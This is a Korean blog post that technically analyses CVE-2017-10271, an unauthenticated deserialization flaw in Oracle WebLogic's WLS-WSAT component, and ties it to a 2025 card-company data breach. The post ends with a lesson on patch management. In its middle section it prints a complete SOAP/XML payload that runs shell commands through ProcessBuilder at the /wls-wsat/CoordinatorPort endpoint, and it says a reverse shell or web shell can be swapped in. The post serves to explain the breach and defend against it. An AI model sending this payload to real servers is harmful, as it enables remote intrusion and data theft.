티스토리 뷰

지난번 롯데카드 해킹 사태에 대한 글에서는 '관리 부실로 인한 패치 누락'을 지적하며 분통을 터뜨렸다. 오늘은 한 걸음 더 깊이 들어가, 그 '누락된 패치'가 막았어야 할 취약점, CVE-2017-10271에 대해 기술적으로 분석해보고자 한다. 대체 어떤 허점이 있었기에 대한민국 금융사의 서버가 속수무책으로 뚫릴 수 있었을까.
1. CVE-2017-10271 취약점 개요
- 명칭: Oracle WebLogic Server WLS-WSAT Component Deserialization RCE
- 요약: 오라클 웹로직 서버의 WLS-WSAT(Web Services Atomic Transactions) 컴포넌트에서 발생하는 역직렬화(Deserialization) 취약점.
- 위험도: CVSS 3.0 기준 7.5점 (High). 인증(Authentication) 없이 원격(Remote)으로 코드 실행(Code Execution)이 가능해 RCE 취약점으로 분류된다.
가장 무서운 부분은 '인증 없이(Unauthenticated)'라는 점이다. 공격자는 아이디나 패스워드 없이, 해당 서버에 네트워크 요청만 보낼 수 있으면 서버를 완전히 장악할 수 있다는 뜻이다. 인터넷에 연결된 서버라면 사실상 전 세계의 모든 공격자에게 문을 열어준 것과 마찬가지다.
2. 공격 원리: 신뢰가 낳은 비극, XML 역직렬화

이 취약점의 핵심에는 '안전하지 않은 역직렬화(Insecure Deserialization)'가 있다.
- 직렬화(Serialization): 프로그램이 사용하는 데이터 객체(Object)를 파일로 저장하거나 네트워크로 전송하기 위해 연속적인 바이트(byte) 형태로 변환하는 과정. (예: Java 객체를 XML이나 JSON 문자열로 변환)
- 역직렬화(Deserialization): 직렬화된 바이트 형태의 데이터를 다시 프로그램이 사용할 수 있는 원래의 객체 형태로 복원하는 과정.
CVE-2017-10271은 웹로직 서버가 클라이언트로부터 받은 XML 데이터를 역직렬화하는 과정에서 발생한다. 서버는 /wls-wsat/CoordinatorPort와 같은 특정 엔드포인트로 들어온 XML 요청을 처리하는데, 이때 XML 내부에 포함된 <work:WorkContext> 태그의 내용을 검증 없이 그대로 신뢰하고 XMLDecoder를 통해 객체로 복원해버린다.
공격자는 바로 이 점을 노린다. 서버를 속이기 위해 악의적인 명령이 담긴 XML 데이터를 만들어 요청에 담아 보낸다. 서버는 이 요청이 공격용인지 정상적인 요청인지 구분하지 못하고, XML에 적힌 대로 악성 코드를 스스로 실행하게 된다.
3. 공격 코드(PoC) 살펴보기
실제 공격은 어떤 형태로 이루어질까? GitHub 등지에 공개된 PoC(Proof of Concept) 코드를 보면 그 구조를 쉽게 이해할 수 있다. 공격에 사용되는 XML 페이로드(Payload)는 대략 아래와 같은 구조를 가진다.
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>touch /tmp/pwned</string> <!-- 여기에 악성 명령 삽입 -->
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
코드를 잘 모르는 사람이 봐도 뭔가 심상치 않음을 느낄 수 있다. 이 XML의 핵심은 java.lang.ProcessBuilder 객체를 이용해 서버에서 셸 명령어를 실행하도록 만드는 부분이다. 위 예시에서는 /tmp 디렉터리에 pwned라는 빈 파일을 생성하는 간단한 명령이지만, 공격자는 이 string 태그 안에 어떤 명령이든 넣을 수 있다.
예를 들어, 특정 IP와 포트로 서버의 제어권을 넘겨주는 리버스 셸(Reverse Shell)을 실행하거나, 서버에 웹셸(Webshell)을 업로드하여 언제든 원격으로 제어할 수 있는 뒷문을 만들 수 있다.
4. 롯데카드 사태와 교훈
롯데카드 해킹 시나리오는 이제 명확해진다.
- 공격자는 인터넷에 노출된 롯데카드의 웹로직 서버가 CVE-2017-10271에 취약하다는 것을 발견했다.
- 위와 같은 악성 XML 페이로드를 서버로 전송하여 원격 코드 실행에 성공했다.
- 최초 침투 후, 서버에 웹셸을 설치하여 지속적으로 명령을 내릴 수 있는 통로를 확보했다.
- 웹셸을 통해 내부망으로 이동하며 추가적인 정보를 수집하고, 마침내 고객 정보가 담긴 데이터베이스에 접근하여 200GB에 달하는 데이터를 외부로 유출했다.
가장 통탄할 점은 이 모든 비극의 시작점인 CVE-2017-10271의 보안 패치가 2017년에 이미 배포되었다는 사실이다. 2025년에 발생한 해킹이 8년 전 취약점 때문에 발생했다는 것은 기술의 문제가 아니라 명백한 관리와 프로세스의 실패를 의미한다.
결론: 낡은 구멍이 배를 침몰시킨다
이번 사태는 우리에게 아주 중요한 교훈을 남겼다. 화려한 최신 제로데이 공격보다, 우리가 이미 알고도 방치한 '낡은 구멍'이 훨씬 더 위험할 수 있다는 것. 개발자로서, 그리고 IT 인프라를 관리하는 사람으로서 주기적인 패치 관리와 알려진 취약점 점검이 얼마나 중요한지 다시 한번 뼈저리게 느낀다.
이 글을 읽는 동료 개발자들도 자신의 서비스가 의외의 곳에서 낡은 구멍을 방치하고 있지는 않은지, 다시 한번 점검해보는 계기가 되었으면 한다.
#CVE-2017-10271 #Oracle #WebLogic #RCE #Deserialization #보안취약점 #롯데카드해킹 #웹셸 #패치관리
참고 자료 (References)
'IT > 보안' 카테고리의 다른 글
| 롯데카드 해킹, 내 정보는 괜찮을까? (feat. 연회비 면제는 누구만?) (0) | 2025.09.19 |
|---|---|
| 펨토셀 취약점을 이용한 KT IMSI 캐쳐 공격 기술 분석 (0) | 2025.09.11 |
| KT '유령 기지국' 해킹, 내가 사는 동네도 안전하지 않다 (1) | 2025.09.09 |
- Total
- Today
- Yesterday
- 카톡업데이트
- react
- ios
- 개발자
- go
- 재테크
- 카카오톡
- openai
- ChatGPT
- golang
- 내집마련
- 부동산분석
- Python
- 주식투자
- reactjs
- Linux
- 프로그래밍
- AI
- JavaScript
- Spring
- Backend
- 생각
- 오리역
- 부동산
- Java
- CSS
- MacOS
- SWiFT
- HTML
- Frontend
| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | ||||
| 4 | 5 | 6 | 7 | 8 | 9 | 10 |
| 11 | 12 | 13 | 14 | 15 | 16 | 17 |
| 18 | 19 | 20 | 21 | 22 | 23 | 24 |
| 25 | 26 | 27 | 28 | 29 | 30 | 31 |